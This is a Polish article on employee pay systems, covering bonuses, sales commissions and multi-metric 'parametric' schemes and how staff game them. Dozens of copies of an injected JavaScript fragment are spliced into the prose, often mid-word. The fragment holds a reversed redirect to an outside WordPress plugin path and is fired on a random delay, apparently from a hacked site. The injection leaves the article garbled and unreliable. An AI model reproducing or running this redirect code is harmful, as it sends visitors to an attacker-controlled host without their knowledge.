Jaką część wynagrodzenia powinien stanowić bonus? Mniej niż toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to może być przy prowizji, gdyż związek zadań ze sprzedażą też może być mniejszy (i na ogół taki jest).
Prowizja
To udział w obrotach, czasem w zyskach. Ale prawie nigdy nie w kosztach czy nakładach. I toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jego największa słabość. Pracownicy maksymalizują swój zysk, ale nie wynik firmy, szczególnie na poziomie zwrotu na kapitale zaangażowanym.
Uwaga. „ toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to system proporcjonalny”. Ale proporcjonalny toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do ilości, nie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do jakości. Nie musi być taki, ale przeważnie jest. Tu obowiązuje zasada „im więcej, tym więcej”. Ale nie lepiej, gdyż cele nie są tu jakościowe, tylko ilościowe. Takie są łatwiej mierzalne, a mierzalność toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to podstawa systemu parametrycznego.
Firma która uwierzyła w au toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomatyzm systemu motywowania pracowników przez zmienny system wynagradzania zaczyna przeważnie od prowizji od jednego parametru, zwykle sprzedaży. Ale że toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to system w krótki okresie bardzo skuteczny, zwykle kończy się mnożeniem celów. Są nadal proporcjonalne, ale w proporcji toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do różnych parametrów. I tak system prowizyjny zamienia się w swoją zaawansowaną wersję czyli system parametryczny.
Jakie mogą być składniki systemu parametrycznego? Na ogół są związane z magiczną formułą sprzedaży. Mogą być związane z jej pierwszym poziomem czyli sprzedażą, drugim czyli liczbą kontaktów, konwersją czy średnią war toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tością transakcji. W końcu mogą być związane z poziomem analitycznym składników formuły, takich jak średnia cena sprzedanego produktu (up-sell), liczba produktów na transakcję (cross-sell) czy sprzedaż produktów toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatkowych, bez związku z produktem głównym. Każdy z tych składników może być podstawą toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do prowizji, ale lepiej unikać nadmiaru.
Ile może być składników systemu parametrycznego? Jak najmniej, szczególnie na raz (można je przecież wymieniać w kolejnych okresach).
Dodatkową trudność stanowi fakt, że składniki magicznej formuły są ze sobą sprzężone w sposób odwrotnie proporcjonalny. Zwiększenie konwersji na ogół prowadzi toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do zmniejszenia średniej war toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji, zwiększenie średniej war toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji może prowadzić toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do zmniejszenia liczby kontaktów (gdyż wywiera toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nacisk na aktywną, a czasem agresywną obsługę).
Uwaga. „system parametryczny”. Czyli sięgnięcie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do analitycznego poziomu magicznej formuły sprzedaży i próba uzależnienia wynagrodzenia od kilku (na ogół) parametrów z tego poziomu. Bardzo kuszący system, gdyż odwołuje się bezpośrednio toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do formuły na poziomie prawie zarządzalnym. Ale tylko prawie, co widać w praktyce.
Pracownicy wybierają jeden parametr, najłatwiejszy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do osiągniecia (lub z ich punktu widzenia najbardziej toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dochotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowy). I na nim się skupiają, ze szkodą dla całości. Poza tym system parametryczny prowokuje toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do oszustw. Ponieważ parametrów jest dużo i na ogół są rozliczane au toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tomatycznie, bez zrozumienia, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to oszukać jest i łatwo i jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bardzo korzystne.
Jaką część wynagrodzenia powinna stanowić prowizja? Nie mniej niż 20% (mniej rzadko działa), ale nie więcej niż 50%. 50% toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już granica, w każdej bowiem pracy jest część zadań stałych, nie związanych bezpośrednio z wynikiem. Ale i je trzeba wykonać i za wykonanie tych zadań należy się stała część wynagrodzenia.
Oprócz ogólnych wyzwań związanych z zarządzaniem pracownikami przez system wynagrodzeń w systemie prowizyjnym tkwi pewien strukturalny problem. To związanie wynagrodzenia z przychodem (czy jakąś jego kombinacją), ale bez związku z kosztami i nakładami. W ten sposób firma sama podcina gałąź, na której siedzi. Pracownicy zaczynają maksymalizować przychody, ale tylko w krótkim okresie (długi ich nie interesuje) i za wszelką cenę. W takim układzie oni najwięcej zarobią, a koszty i konsekwencje dla firmy ich już nie interesują. A przynajmniej nie interesują tak długo, jak toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to właśnie płaca ma ich motywować.
Podsumowanie
Pracowników należy motywować. Jeśli nie jest się w stanie zrobić tego zarządczo, trzeba uciec się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do pomocy sytemu wynagrodzeń. Zmienny system wynagradzania może bowiem stworzyć namiastkę zarządzania. Zmienność można uzyskać na dwa sposoby, w proporcji toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do wyniku (system prowizyjny) i zerojedynkowo, od wypełnienia określonych zadań. Zerojedynkowość polega z jednej strony na jednoznacznym określeniu czy zadanie zostało wykonane, a z drugiej z kwo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towości wynagrodzenia. Każdy z tych systemów ma swoje zalety i wady, niezależnie od wspólnych ograniczeń zarządzania przez płace.